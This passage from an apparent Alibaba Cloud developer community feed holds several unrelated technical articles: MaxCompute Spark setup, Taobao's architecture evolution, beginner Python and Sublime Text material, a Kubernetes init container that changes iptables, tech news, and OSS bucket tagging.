        spark.sql.catalogImplementation=odps
        spark.hadoop.odps.task.major.version = cupid_v2
        spark.hadoop.odps.cupid.container.image.enable = true
        spark.hadoop.odps.cupid.container.vm.engine.type = hyper
        

        2.5在github上下载对应代码

        https://github.com/aliyun/MaxCompute-Spark

        2.5将代码上传到ECS上进行解压

        unzip MaxCompute-Spark-master.zip
        

        2.6将代码打包成jar包(确保安装Maven)

        cd MaxCompute-Spark-master/spark-2.x
        mvn clean package
        

        2.7查看jar包,并进行运行

        bin/spark-submit --master yarn-cluster --class com.aliyun.odps.spark.examples.SparkPi 
        MaxCompute-Spark-master/spark-2.x/target/spark-examples_2.11-1.0.0-SNAPSHOT-shaded.jar
        

        三、Spark运行在DataWorks的配置和使用

        3.1进入DataWorks控制台界面,点击业务流程

        image

        3.2打开业务流程,创建ODPS Spark节点

        image

        3.3上传jar包资源,点击对应的jar包上传,并提交

        image

        image

        image

        3.4配置对应ODPS Spark的节点配置点击保存并提交,点击运行查看运行状态

        image

        四、Spark在本地idea测试环境的使用

        4.1下载客户端与模板代码并解压

        客户端:
        http://odps-repo.oss-cn-hangzhou.aliyuncs.com/spark/2.3.0-odps0.30.0/spark-2.3.0-odps0.30.0.tar.gz?spm=a2c4g.11186623.2.12.666a4b69yO8Qur&file=spark-2.3.0-odps0.30.0.tar.gz

        image

        模板代码:

        https://github.com/aliyun/MaxCompute-Spark

        4.2打开idea,点击Open选择模板代码

        image

        image

        4.2安装Scala插件

        image

        image

        4.3配置maven

        image

        4.4配置JDK和相关依赖

        image

        image

        欢迎加入“MaxCompute开发者社区2群”,点击链接申请加入或扫描二维码
        https://h5.dingtalk.com/invite-page/index.html?bizSource=____source____&corpId=dingb682fb31ec15e09f35c2f4657eb6378f&inviterUid=E3F28CD2308408A8&encodeDeptId=0054DC2B53AFE745
        image

        ]]>
        阿里巴巴为什么能抗住90秒100亿?看完这篇你就明白了!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        导读:来自:huashiou
        链接:segmentfault.com/a/1190000018626163

        概述

        本文以淘宝作为例子,介绍从一百个并发到千万级并发情况下服务端的架构的演进过程,同时列举出每个演进阶段会遇到的相关技术,让大家对架构的演进有一个整体的认知,文章最后汇总了一些架构设计的原则。

        基本概念

        在介绍架构之前,为了避免部分读者对架构设计中的一些概念不了解,下面对几个最基础的概念进行介绍。

        1)什么是分布式?

        系统中的多个模块在不同服务器上部署,即可称为分布式系统,如Tomcat和数据库分别部署在不同的服务器上,或两个相同功能的Tomcat分别部署在不同服务器上。

        2)什么是高可用?

        系统中部分节点失效时,其他节点能够接替它继续提供服务,则可认为系统具有高可用性。

        3)什么是集群?

        一个特定领域的软件部署在多台服务器上并作为一个整体提供一类服务,这个整体称为集群。

        如Zookeeper中的Master和Slave分别部署在多台服务器上,共同组成一个整体提供集中配置服务。

        在常见的集群中,客户端往往能够连接任意一个节点获得服务,并且当集群中一个节点掉线时,其他节点往往能够自动的接替它继续提供服务,这时候说明集群具有高可用性。

        4)什么是负载均衡?

        请求发送到系统时,通过某些方式把请求均匀分发到多个节点上,使系统中每个节点能够均匀的处理请求负载,则可认为系统是负载均衡的。

        5)什么是正向代理和反向代理?

        系统内部要访问外部网络时,统一通过一个代理服务器把请求转发出去,在外部网络看来就是代理服务器发起的访问,此时代理服务器实现的是正向代理;

        当外部请求进入系统时,代理服务器把该请求转发到系统中的某台服务器上,对外部请求来说,与之交互的只有代理服务器,此时代理服务器实现的是反向代理。

        简单来说,正向代理是代理服务器代替系统内部来访问外部网络的过程,反向代理是外部请求访问系统时通过代理服务器转发到内部服务器的过程。

        纯真年代:单机架构

        image

        以淘宝作为例子:在网站最初时,应用数量与用户数都较少,可以把Tomcat和数据库部署在同一台服务器上。

        浏览器往www.taobao.com发起请求时,首先经过DNS服务器(域名系统)把域名转换为实际IP地址10.102.4.1,浏览器转而访问该IP对应的Tomcat。

        架构瓶颈:随着用户数的增长,Tomcat和数据库之间竞争资源,单机性能不足以支撑业务。

        第一次演进:Tomcat与数据库分开部署

        image

        Tomcat和数据库分别独占服务器资源,显著提高两者各自性能。

        架构瓶颈:随着用户数的增长,并发读写数据库成为瓶颈。

        第二次演进:引入本地缓存和分布式缓存

        image

        在Tomcat同服务器上或同JVM中增加本地缓存,并在外部增加分布式缓存,缓存热门商品信息或热门商品的html页面等。通过缓存能把绝大多数请求在读写数据库前拦截掉,大大降低数据库压力。

        其中涉及的技术包括:使用memcached作为本地缓存,使用Redis作为分布式缓存,还会涉及缓存一致性、缓存穿透/击穿、缓存雪崩、热点数据集中失效等问题。

        架构瓶颈:缓存抗住了大部分的访问请求,随着用户数的增长,并发压力主要落在单机的Tomcat上,响应逐渐变慢。

        第三次演进:引入反向代理实现负载均衡

        image

        在多台服务器上分别部署Tomcat,使用反向代理软件(Nginx)把请求均匀分发到每个Tomcat中。

        此处假设Tomcat最多支持100个并发,Nginx最多支持50000个并发,那么理论上Nginx把请求分发到500个Tomcat上,就能抗住50000个并发。

        其中涉及的技术包括:Nginx、HAProxy,两者都是工作在网络第七层的反向代理软件,主要支持http协议,还会涉及session共享、文件上传下载的问题。

        架构瓶颈:反向代理使应用服务器可支持的并发量大大增加,但并发量的增长也意味着更多请求穿透到数据库,单机的数据库最终成为瓶颈。

        第四次演进:数据库读写分离

        image

        把数据库划分为读库和写库,读库可以有多个,通过同步机制把写库的数据同步到读库,对于需要查询最新写入数据场景,可通过在缓存中多写一份,通过缓存获得最新数据。

        其中涉及的技术包括:Mycat,它是数据库中间件,可通过它来组织数据库的分离读写和分库分表,客户端通过它来访问下层数据库,还会涉及数据同步,数据一致性的问题。

        架构瓶颈:业务逐渐变多,不同业务之间的访问量差距较大,不同业务直接竞争数据库,相互影响性能。

        第五次演进:数据库按业务分库

        image

        把不同业务的数据保存到不同的数据库中,使业务之间的资源竞争降低,对于访问量大的业务,可以部署更多的服务器来支撑。

        这样同时导致跨业务的表无法直接做关联分析,需要通过其他途径来解决,但这不是本文讨论的重点,有兴趣的可以自行搜索解决方案。

        架构瓶颈:随着用户数的增长,单机的写库会逐渐会达到性能瓶颈。

        第六次演进:把大表拆分为小表

        image
        比如针对评论数据,可按照商品ID进行hash,路由到对应的表中存储;

        针对支付记录,可按照小时创建表,每个小时表继续拆分为小表,使用用户ID或记录编号来路由数据。

        只要实时操作的表数据量足够小,请求能够足够均匀的分发到多台服务器上的小表,那数据库就能通过水平扩展的方式来提高性能。其中前面提到的Mycat也支持在大表拆分为小表情况下的访问控制。

        这种做法显著的增加了数据库运维的难度,对DBA的要求较高。数据库设计到这种结构时,已经可以称为分布式数据库

        但这只是一个逻辑的数据库整体,数据库里不同的组成部分是由不同的组件单独来实现的

        如分库分表的管理和请求分发,由Mycat实现,SQL的解析由单机的数据库实现,读写分离可能由网关和消息队列来实现,查询结果的汇总可能由数据库接口层来实现等等

        这种架构其实是MPP(大规模并行处理)架构的一类实现。

        目前开源和商用都已经有不少MPP数据库,开源中比较流行的有Greenplum、TiDB、Postgresql XC、HAWQ等,商用的如南大通用的GBase、睿帆科技的雪球DB、华为的LibrA等等

        不同的MPP数据库的侧重点也不一样,如TiDB更侧重于分布式OLTP场景,Greenplum更侧重于分布式OLAP场景

        这些MPP数据库基本都提供了类似Postgresql、Oracle、MySQL那样的SQL标准支持能力,能把一个查询解析为分布式的执行计划分发到每台机器上并行执行,最终由数据库本身汇总数据进行返回

        也提供了诸如权限管理、分库分表、事务、数据副本等能力,并且大多能够支持100个节点以上的集群,大大降低了数据库运维的成本,并且使数据库也能够实现水平扩展。

        架构瓶颈:数据库和Tomcat都能够水平扩展,可支撑的并发大幅提高,随着用户数的增长,最终单机的Nginx会成为瓶颈。

        第七次演进:使用LVS或F5来使多个Nginx负载均衡

        image

        由于瓶颈在Nginx,因此无法通过两层的Nginx来实现多个Nginx的负载均衡。

        图中的LVS和F5是工作在网络第四层的负载均衡解决方案,其中LVS是软件,运行在操作系统内核态,可对TCP请求或更高层级的网络协议进行转发,因此支持的协议更丰富,并且性能也远高于Nginx,可假设单机的LVS可支持几十万个并发的请求转发;

        F5是一种负载均衡硬件,与LVS提供的能力类似,性能比LVS更高,但价格昂贵。

        由于LVS是单机版的软件,若LVS所在服务器宕机则会导致整个后端系统都无法访问,因此需要有备用节点。

        可使用keepalived软件模拟出虚拟IP,然后把虚拟IP绑定到多台LVS服务器上,浏览器访问虚拟IP时,会被路由器重定向到真实的LVS服务器
        当主LVS服务器宕机时,keepalived软件会自动更新路由器中的路由表,把虚拟IP重定向到另外一台正常的LVS服务器,从而达到LVS服务器高可用的效果。

        此处需要注意的是,上图中从Nginx层到Tomcat层这样画并不代表全部Nginx都转发请求到全部的Tomcat
        在实际使用时,可能会是几个Nginx下面接一部分的Tomcat,这些Nginx之间通过keepalived实现高可用,其他的Nginx接另外的Tomcat,这样可接入的Tomcat数量就能成倍的增加。

        架构瓶颈:由于LVS也是单机的,随着并发数增长到几十万时,LVS服务器最终会达到瓶颈,此时用户数达到千万甚至上亿级别,用户分布在不同的地区,与服务器机房距离不同,导致了访问的延迟会明显不同。

        第八次演进:通过DNS轮询实现机房间的负载均衡

        image
        在DNS服务器中可配置一个域名对应多个IP地址,每个IP地址对应到不同的机房里的虚拟IP。
        当用户访问www.taobao.com时,DNS服务器会使用轮询策略或其他策略,来选择某个IP供用户访问。此方式能实现机房间的负载均衡
        至此,系统可做到机房级别的水平扩展,千万级到亿级的并发量都可通过增加机房来解决,系统入口处的请求并发量不再是问题。
        架构瓶颈:随着数据的丰富程度和业务的发展,检索、分析等需求越来越丰富,单单依靠数据库无法解决如此丰富的需求。

        第九次演进:引入NoSQL数据库和搜索引擎等技术

        image

        当数据库中的数据多到一定规模时,数据库就不适用于复杂的查询了,往往只能满足普通查询的场景。

        对于统计报表场景,在数据量大时不一定能跑出结果,而且在跑复杂查询时会导致其他查询变慢

        对于全文检索、可变数据结构等场景,数据库天生不适用。因此需要针对特定的场景,引入合适的解决方案。

        如对于海量文件存储,可通过分布式文件系统HDFS解决,对于key value类型的数据,可通过HBase和Redis等方案解决

        对于全文检索场景,可通过搜索引擎如ElasticSearch解决,对于多维分析场景,可通过Kylin或Druid等方案解决。

        当然,引入更多组件同时会提高系统的复杂度,不同的组件保存的数据需要同步,需要考虑一致性的问题,需要有更多的运维手段来管理这些组件等。

        架构瓶颈:引入更多组件解决了丰富的需求,业务维度能够极大扩充,随之而来的是一个应用中包含了太多的业务代码,业务的升级迭代变得困难。

        第十次演进:大应用拆分为小应用

        image

        按照业务板块来划分应用代码,使单个应用的职责更清晰,相互之间可以做到独立升级迭代。这时候应用之间可能会涉及到一些公共配置,可以通过分布式配置中心Zookeeper来解决。

        架构瓶颈:不同应用之间存在共用的模块,由应用单独管理会导致相同代码存在多份,导致公共功能升级时全部应用代码都要跟着升级。

        第十一次演进:复用的功能抽离成微服务

        image

        如用户管理、订单、支付、鉴权等功能在多个应用中都存在,那么可以把这些功能的代码单独抽取出来形成一个单独的服务来管理

        这样的服务就是所谓的微服务,应用和服务之间通过HTTP、TCP或RPC请求等多种方式来访问公共服务,每个单独的服务都可以由单独的团队来管理。

        此外,可以通过Dubbo、SpringCloud等框架实现服务治理、限流、熔断、降级等功能,提高服务的稳定性和可用性。

        架构瓶颈:不同服务的接口访问方式不同,应用代码需要适配多种访问方式才能使用服务,此外,应用访问服务,服务之间也可能相互访问,调用链将会变得非常复杂,逻辑变得混乱。

        第十二次演进:引入企业服务总线ESB屏蔽服务接口的访问差异

        image

        通过ESB统一进行访问协议转换,应用统一通过ESB来访问后端服务,服务与服务之间也通过ESB来相互调用,以此降低系统的耦合程度。

        这种单个应用拆分为多个应用,公共服务单独抽取出来来管理,并使用企业消息总线来解除服务之间耦合问题的架构,就是所谓的SOA(面向服务)架构,这种架构与微服务架构容易混淆,因为表现形式十分相似。

        个人理解,微服务架构更多是指把系统里的公共服务抽取出来单独运维管理的思想,而SOA架构则是指一种拆分服务并使服务接口访问变得统一的架构思想,SOA架构中包含了微服务的思想。

        架构瓶颈:业务不断发展,应用和服务都会不断变多,应用和服务的部署变得复杂,同一台服务器上部署多个服务还要解决运行环境冲突的问题
        此外,对于如大促这类需要动态扩缩容的场景,需要水平扩展服务的性能,就需要在新增的服务上准备运行环境,部署服务等,运维将变得十分困难。

        第十三次演进:引入容器化技术实现运行环境隔离与动态服务管理

        image

        目前最流行的容器化技术是Docker,最流行的容器管理服务是Kubernetes(K8S),应用/服务可以打包为Docker镜像,通过K8S来动态分发和部署镜像。

        Docker镜像可理解为一个能运行你的应用/服务的最小的操作系统,里面放着应用/服务的运行代码,运行环境根据实际的需要设置好。
        把整个“操作系统”打包为一个镜像后,就可以分发到需要部署相关服务的机器上,直接启动Docker镜像就可以把服务起起来,使服务的部署和运维变得简单。

        在大促的之前,可以在现有的机器集群上划分出服务器来启动Docker镜像,增强服务的性能
        大促过后就可以关闭镜像,对机器上的其他服务不造成影响(在第18节之前,服务运行在新增机器上需要修改系统配置来适配服务,这会导致机器上其他服务需要的运行环境被破坏)。

        架构瓶颈:使用容器化技术后服务动态扩缩容问题得以解决,但是机器还是需要公司自身来管理,在非大促的时候,还是需要闲置着大量的机器资源来应对大促,机器自身成本和运维成本都极高,资源利用率低。

        第十四次演进:以云平台承载系统

        image
        系统可部署到公有云上,利用公有云的海量机器资源,解决动态硬件资源的问题

        在大促的时间段里,在云平台中临时申请更多的资源,结合Docker和K8S来快速部署服务,在大促结束后释放资源,真正做到按需付费,资源利用率大大提高,同时大大降低了运维成本。

        所谓的云平台,就是把海量机器资源,通过统一的资源管理,抽象为一个资源整体

        在云平台上可按需动态申请硬件资源(如CPU、内存、网络等),并且之上提供通用的操作系统,提供常用的技术组件(如Hadoop技术栈,MPP数据库等)供用户使用,甚至提供开发好的应用

        用户不需要关心应用内部使用了什么技术,就能够解决需求(如音视频转码服务、邮件服务、个人博客等)。
        在云平台中会涉及如下几个概念:

        IaaS:基础设施即服务。对应于上面所说的机器资源统一为资源整体,可动态申请硬件资源的层面;

        PaaS:平台即服务。对应于上面所说的提供常用的技术组件方便系统的开发和维护;

        SaaS:软件即服务。对应于上面所说的提供开发好的应用或服务,按功能或性能要求付费。

        至此:以上所提到的从高并发访问问题,到服务的架构和系统实施的层面都有了各自的解决方案。

        但同时也应该意识到,在上面的介绍中,其实是有意忽略了诸如跨机房数据同步、分布式事务实现等等的实际问题,这些问题以后有机会再拿出来单独讨论。

        架构设计经验小结

        1)架构的调整是否必须按照上述演变路径进行?
        不是的,以上所说的架构演变顺序只是针对某个侧面进行单独的改进

        在实际场景中,可能同一时间会有几个问题需要解决,或者可能先达到瓶颈的是另外的方面,这时候就应该按照实际问题实际解决。

        如在政府类的并发量可能不大,但业务可能很丰富的场景,高并发就不是重点解决的问题,此时优先需要的可能会是丰富需求的解决方案。

        2)对于将要实施的系统,架构应该设计到什么程度?

        对于单次实施并且性能指标明确的系统,架构设计到能够支持系统的性能指标要求就足够了,但要留有扩展架构的接口以便不备之需。

        对于不断发展的系统,如电商平台,应设计到能满足下一阶段用户量和性能指标要求的程度,并根据业务的增长不断的迭代升级架构,以支持更高的并发和更丰富的业务。

        3)服务端架构和大数据架构有什么区别?

        所谓的“大数据”其实是海量数据采集清洗转换、数据存储、数据分析、数据服务等场景解决方案的一个统称,在每一个场景都包含了多种可选的技术

        如数据采集有Flume、Sqoop、Kettle等,数据存储有分布式文件系统HDFS、FastDFS,NoSQL数据库HBase、MongoDB等,数据分析有Spark技术栈、机器学习算法等。

        总的来说大数据架构就是根据业务的需求,整合各种大数据组件组合而成的架构,一般会提供分布式存储、分布式计算、多维分析、数据仓库、机器学习算法等能力。

        而服务端架构更多指的是应用组织层面的架构,底层能力往往是由大数据架构来提供。

        4)有没有一些架构设计的原则?

        • N+1设计:系统中的每个组件都应做到没有单点故障;
        • 回滚设计:确保系统可以向前兼容,在系统升级时应能有办法回滚版本;
        • 禁用设计:应该提供控制具体功能是否可用的配置,在系统出现故障时能够快速下线功能;
        • 监控设计:在设计阶段就要考虑监控的手段;
        • 多活数据中心设计:若系统需要极高的高可用,应考虑在多地实施数据中心进行多活,至少在一个机房断电的情况下系统依然可用;
        • 采用成熟的技术:刚开发的或开源的技术往往存在很多隐藏的bug,出了问题没有商业支持可能会是一个灾难;
        • 资源隔离设计:应避免单一业务占用全部资源;
        • 架构应能水平扩展:系统只有做到能水平扩展,才能有效避免瓶颈问题;
        • 非核心则购买:非核心功能若需要占用大量的研发资源才能解决,则考虑购买成熟的产品;
        • 使用商用硬件:商用硬件能有效降低硬件故障的机率;
        • 快速迭代:系统应该快速开发小功能模块,尽快上线进行验证,早日发现问题大大降低系统交付的风险;
        • 无状态设计:服务接口应该做成无状态的,当前接口的访问不依赖于接口上次访问的状态。

        原文发布时间:2019-11-19
        本文来自小詹学Python,了解相关信息可以关注“小詹学Python

        ]]>
        李立超老师带你入门Python之二:开发前的准备-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击这里查看前面章节精彩内容,不容错过!

        1.8进制

        进制就是满几进1的一个计数机制。

        • 十进制(最常用的进制)

        十进制就是满十进一的进制
        十进制当中一共有10个数字
        0 1 2 3 4 5 6 7 8 9
        十进制如何计数

        0 1 2 3 4 5 6 7 8 9 10 11 12 。。。 19 20 。。。29 30。。。

        • 二进制(计算机底层使用的进制)

        满二进一
        二进制中一共有2个数字
        0 1
        二进制如何计数

        0 1 10 11 100 101 110 111 1000。。。

        所有的数据在计算机底层都是以二进制的形式保存的,计算机只认二进制。
        可以将内存想象为一个一个的小格子,小格子中可以存储一个0或一个1
        内存中的每一个小格子,我们称为1bit(位)

        bit是计算机中的最小的单位
        byte是我们最小的可操作的单位
        8bit = 1byte(字节)
        1024byte = 1kb(千字节)
        1024kb = 1mb(兆字节)
        1024mb = 1gb(吉字节)
        1024gb = 1tb(太字节)
        。。。
        二进制代码查看器:
        image.png
        打开一个代码文件,你会发现里面都是二进制数:
        image.png

        • 八进制(一般不用)

        满八进一
        八进制中一共有8个数字

        0 1 2 3 4 5 6 7

        八进制如何计数
        0 1 2 3 4 5 6 7 10 11 。。。 17 20 。。。27 30

        • 十六进制

        满十六进一
        十六进制中一共有16个数字
        由于十六进制是满16才进位,所以十六进制中引入了a b c d e f来表示 10 11 12 13 14 15

        0 1 2 3 4 5 6 7 8 9 a b c d e f

        十六进制如何计数

        0 1 2 3 4 5 6 7 8 9 a b c d e f 10 11 12 。。。 1a 1b 1c 1d 1e 1f 20 21 22 。。。 2a 2b 2c 2d 2e 2f 30

        我们在查看二进制数据时,一般会以十六进制的形式显示

        实践一下:打开电脑计算器
        image.png
        image.png
        image.png

        1.9文本文件和字符集

        文本分成两种,一种叫做纯文本,还有一种叫做富文本。纯文本中只能保存单一的文本内容,无法保存内容无关的东西(字体、颜色、图片。。。);富文本中可以保存文本以外的内容(word文档)。
        在开发时,编写程序使用的全都是纯文本!
        纯文本在计算机底层也会转换为二进制保存,将字符转换为二进制码的过程,我们称为编码;将二进制码转换为字符的过程,我们称为解码;编码和解码时所采用的规则,我们称为字符集。接下来介绍一些常见的字符集。

        • ASCII

        美国人编码,使用7位来对美国常用的字符进行编码
        包含128个字符

        • ISO-8859-1

        欧洲的编码,使用8位
        包含256个字符

        • GB2312

        GBK
        国标码,中国的编码(包含一些常用的中文)

        • Unicode

        万国码,包含世界上所有的语言和符号,编写程序时一般都会使用Unicode编码。
        Unicode编码有多种实现,UTF-8 UTF-16 UTF-32;最常用的就是UTF-8
        image.png

        延伸问题:乱码

        编写程序时,如果发现程序代码出现乱码的情况,就要马上去检查字符集是否正确

        1.10Sublime Text 3

        上文说过,大部分的代码都是纯文本,这时候就要考虑到纯文本编辑器的问题。纯文本编辑器有很多种,最基本的记事本也是可以用来编程的,但是在实际编码的时候并不建议使用,因为它会自动在代码前面加一个可帮自己识别的标志,在执行的时候并不能很好的解码。有一些好用的编辑器,例如:VSCODE、editplus、nodepad++、sublime Text等,老师课上使用的是sublime Text3,它是开发里面用的最多的一个编辑器,但是你如果习惯了别的编辑器也是可以的,可以根据自己的习惯去选择。
        sublime Text3受程序员的一个重要原因是它可以根据自己的需要安装相应的插件,从而实现定制编辑器,也可以接受编码完成功能。
        下面首先介绍一下该软件的安装:
        首先去浏览器搜索下载安装包,解压到自己的电脑。
        打开文件夹可以看到如下界面,根据自己的系统选择安装32位还是64位即可。
        image.png
        选择对应的安装包双击打开,弹窗选择“是”,接下来是安装位置,选一个自己可记得住的位置。但是注意:路径中尽量不要出现中文和数字。
        image.png
        接下来是重要的一个选择,添加到菜单,如果不添加在右边菜单是看不到的,所以别忘记勾选中,然后点击“Next”就可以了。
        image.png
        然后喝口水等它安装完成。
        image.png
        但是这个软件在安装完成之后不会在桌面自动生成快捷键,需要我们去添加一下。
        找到文件的安装位置,右键发送到桌面即可。
        image.png
        image.png
        也可以在这里直接打开.exe文件运行该软件。
        image.png
        这就完成整个文件的安装了。接下来介绍一下Sublime的包管理器:Package Control;
        它是Sublime Text3中的插件,通过该插件可以向Sublime中安装新的包。在进行功能扩展的时候是需要经常用到的。
        首先需要安装一下这个插件:在界面上按下快捷键:CTRL+SHIFT+D,在弹出的框里面输入install
        image.png
        第一个就是该插件。
        image.png
        安装完成之后会出现以上界面。点击确定。
        image.png
        这就表示安装完成了。
        关掉sublime,在重启,再点击package control,就可以在这里对包进行管理了。
        image.png
        image.png
        就比如,如果你觉得英文看起来不方便,就可以安装一个汉化包。
        image.png
        image.png
        点击之后稍微等一分钟即可。
        image.png
        也可以进行语言的切换:
        image.png
        这是sublime最基础的一个应用,下一节将介绍更多的应用。

        练习:
        1.安装Sublime Text3
        2.在Sublime中安装Package Control
        3.通过Package Control安装Sublime的中文语言包
        4.尝试为你的Sublime安装新的主题(通过搜索引擎搜索)

        1.11sublime的基本设置

        在如图所示的地方进行设置:
        image.png
        image.png
        可以在这里设置字体和字号等内容,因为这个软件对中文的支持不是特别好,所以需要安装一个雅黑的包来放进去。
        image.png
        双击安装即可。
        image.png
        安装完成之后在User页面设置即可。
        image.png
        接下来介绍一下怎么安装主题:
        image.png
        image.png
        这里安装的是我自己常用的一个主题,你自己可以上网搜一下其他的,安装自己喜欢的即可。安装完成之后点击主题使其生效。
        image.png
        image.png
        这两个地方改的是不同区域。可以自己尝试一下。

        视频学习:阿里云大学之Python进阶必看

        配套Python进阶文章点击此处获取

        ]]>
        使用阿里云容器服务Kubernetes通过init Container形式变更Pod的iptables-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800   本文主要涉及两个镜像:第一个是包含iptables规则变更脚本的镜像,名称为ali-test.test.com/app/proxy_iptables版本为 release_v0.0.1_develop,另一个是简单应用hello-world的镜像,名称为ali-test.test.com/app/tutum/hello-world,版本为release_v0.0.1。其中ali-test.test.com为私有镜像仓库地址,app为项目名称,第一个镜像作为init container形式启动。
          第一个镜像proxy_iptables:release_v0.0.1_develop,包含了对iptables的变更脚本,抽取脚本中部分命令,如下所示:

        #请求转发到proxy_port定义的端口
        echo "begin pull iptables rules"
        proxy_port=$1
        echo "proxy port = $proxy_port"
        iptables -t nat -N PROXY_REDIRECT
        iptables -t nat -A PROXY_REDIRECT -p tcp -j REDIRECT --to-port "${proxy_port}"
        ......

          下面开始通过阿里云控制台使用容器服务-kubernetes。控制台入口为:应用--选择“无状态”--选择一个集群开始操作(阿里云账户需要有操作权限)。步骤如下:

        (1)首先创建命名空间或者使用已有命名空间
        (2)点击“使用镜像创建”,填写应用名称、副本数量,勾选时区同步,如图一所示:

        step1.png

        图一

        (3)点击“下一步”,进行容器配置,配置镜像名称ali-test.test.com/app/proxy_iptables,镜像tag为release_v0.0.1_develop,所属资源根据使用填写。对于此应用,需要勾选Init Container。因为此镜像仅包含了脚本,其它配置可以不用填写,如图二所示:
        image.png

        图二

        (4) 点击“添加容器”,以相同的形式,部署hello-world应用,不勾选“Init Container”,如图三所示。接着下一步,直至创建完成。

        image.png

        图三

        (5) 查看proxy_iptables容器日志,会发现容器在执行iptables命令时异常:Permission denied,如图四所示:

        image.png

        图四

        解决方式如下:
        打开应用的yaml文件,在initContainer容器配置中添加:

        securityContext:
         &emsp;&emsp;  privileged: true
        

        如图五所示:

        image.png

        图五

        更新后,查看容器日志,iptables命令可正常执行,hello-world应用启动正常。
        (6)登录hello-world应用容器,查看iptables变更,命令如下:
        查看运行的容器信息,并获取container ID:

        docker ps |grep lyl
        

        查看容器PID:

        docker top $container_id
        

        查看iptables变更:

        nsenter -t $PID   -n iptables  -t nat -S
        

        通过查看容器日志,可以看到iptables脚本变更正常执行。
        至此,部署完成,Pod及container正常启动运行。

        其它说明:
        k8s pod内部容器是共享网络空间的,通过命令查看iptables的规则,同一个pod内的多个container规则是相同的。

        ]]>
        阿里科学家再获世界级荣誉,平头哥首席科学家谢源当选AAAS Fellow-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 11月27日,美国科学促进会(AAAS)公布了2019年度会士(Fellow)增选结果,阿里巴巴平头哥首席科学家、达摩院高级研究员谢源当选,这也是信息、计算和通信领域新当选的24名Fellow之一,一同入选的还有计算机体系结构顶级专家Norman Jouppi等人。

        AAAS成立于1848年,是全球最大的综合科学学术组织,下设24个学部,服务1000万以上的科学家,是《Science》杂志的主办者、出版者。Fellow是该学会的最高荣誉,授予对象为对促进科学及其应用进步做出卓越贡献的科学家。

        谢源.jpg
        平头哥首席科学家谢源

        谢源的研究领域主要包括计算机体系结构、集成电路设计、电子设计自动化、和嵌入式系统设计,已发表过近300篇顶级期刊和会议论文,并于2014年当选IEEE Fellow。

        在最近公布的中国工程院2019院士增选名单中,阿里巴巴技术委员会主席王坚当选院士。

        阿里科学家连续当选院士、顶级学术组织Fellow,这象征着我国的科技创新体系正补上结构性的短板,民营企业开始成为建设创新型国家的新“引擎”。

        成立20年以来,阿里培养了一批优秀技术人才,在38位合伙人中,有三分之一是技术出身。在十多万名员工里有6万多名科学家、工程师,研发人员占比国内第一,其中有10多位IEEE Fellow、30多位知名高校教授,阿里已是顶级科技人才数量最多的中国科技公司。

        ]]>
        全国携号转网正式启动;果冻有家,房联网概念的平台化应用。-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 小米
        雷军:2021年会出现千元5G手机。明年我们预计发布10款以上的5G手机,预计中国市场5G手机渗透率达到40%-50%,小米依然会做到价格厚道的5G手机。未来3-4年所有人都会换成5G手机,这是非常大的市场需求。小米的现金流良好,库存充足,为5G业务开局打下良好基础。
        全国携号转网正式启动
        工信部在京举行全国携号转网启动仪式,这标志着全国范围的携号转网服务正式开始运行。携号转网服务已在全国分两批次实施。其中,天津、海南、江西、湖北、云南前期试验五省(市)已经于今年9月19日正式提供服务。截至11月26日,完成携号转网用户316万,携转占五省(市)用户总量的1.8%。
        果冻有家,房联网概念的平台化应用
        果冻有家作为房联网生态的平台化运用,核心指向解决新生代群体因社交渴求、交易风险、服务费高昂等原因带来的租房焦虑。果冻有家以最直接的方式打造人与房子、房子与生活之间的互动链条。
        传苹果明年将推超过四款新iPhone:最大尺寸6.7英寸
        据韩国新闻网站ETNews报道,业内消息人士透露,苹果公司将在2020年扩大iPhone的显示屏尺寸选择,发布一款更小的5.4英寸iPhone、一款6.1英寸iPhone以及一款屏幕最大的新iPhone,其显示屏尺寸将为6.7英寸。苹果公司尚未就此消息置评。
        马斯克:特斯拉皮卡预订量已经达到25万
        据外媒报道,当地时间周二,特斯拉CEO埃隆·马斯克再次在推特上更新其首款电动皮卡Cybertruck预订情况。他表示,Cybertruck的预订量已达25万,这距离该公司发布这款电动皮卡不到一周的时间。

        ]]>
        标记您的OSS资源-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 标签基本概述
        1. 标签基本定义

          • 标签是资源Meta信息,标签是一些充当元数据的词和短语,支持用户自定义和系统预制。每个标签都包含一个键(Key)和一个值(Value)。标签是一种资源的属性描述。
          • 标签与资源是 多对多的关系。
        2. 标签基本限制

          • 最大键(key)长度:64 个 Unicode 字符
          • 最大值(value)长度:128 个 Unicode 字符
          • 同一个资源上的同一个键只能有一个标签。如果您尝试添加现有标签 (相同键),现有标签值会更新为新值。
          • 允许的字符包括 Unicode 字母、空格和数字,以及以下特殊字符为

            • 匹配这些中文标点符号 。?!,、;:“ ” ‘ ’( ) 《 》 〈 〉 【 】 『 』 「 」 ﹃ ﹄ 〔 〕 … — ~ ﹏ ¥
            • 匹配这些英文标点符号 -.!@#$%?/^&*)(+={}[]",'<>~·`?:;|_
          • 每个资源的最大 自定义 标签数:20
          • 键(key)不支持 aliyun、acs: 开头。 不允许包含http://https:// 。不允许为空字符串。
          • 值(value)不允许包含http://https:// 。允许为空字符串。
        3. 标签在Bucket中的作用
          您可以通过存储空间(Bucket)的标签功能, 对Bucket进行分类管理,如列举带有指定标签的Bucket、对拥有指定标签的Bucket设置访问权限等。
          Bucket标签使用一组键值对(Key-Value)对标记存储空间,您可以通过Bucket标签标记不同用途的Bucket,并进行分类管理。

        标签设计最佳实践

        操作方式对比

        操作方式 说明
        控制台 Web应用程序,直观易用
        命令行工具ossutil 性能好
        SDK 丰富、完整的各类语SDKdemo

        操作方式

        1. 控制台最佳实践
        2. 命令行ossutil最佳实践
        3. sdk最佳实践

        使用说明

        1. 添加Bucket标签后,您可以对拥有相同标签的Bucket进行批量管理,例如列举拥有相同标签的Bucket、授权RAM用户管理拥有相同标签的Bucket等。
          列举所有带指定标签的Bucket

        您可以在列举Bucket时仅列举带指定标签的Bucket,详情请参见如下SDK Demo:

        1. 授权RAM用户管理拥有指定标签的Bucket当您的Bucket较多时,您可以用Bucket标签对您的Bucket进行分类,并通过RAM策略授权指定用户可以管理拥有指定标签的Bucket。例如授权用户A可以列举所有拥有keytest=valuetest标签的Bucket,RAM策略如下:
            {
                "Version": "1",
                "Statement": [
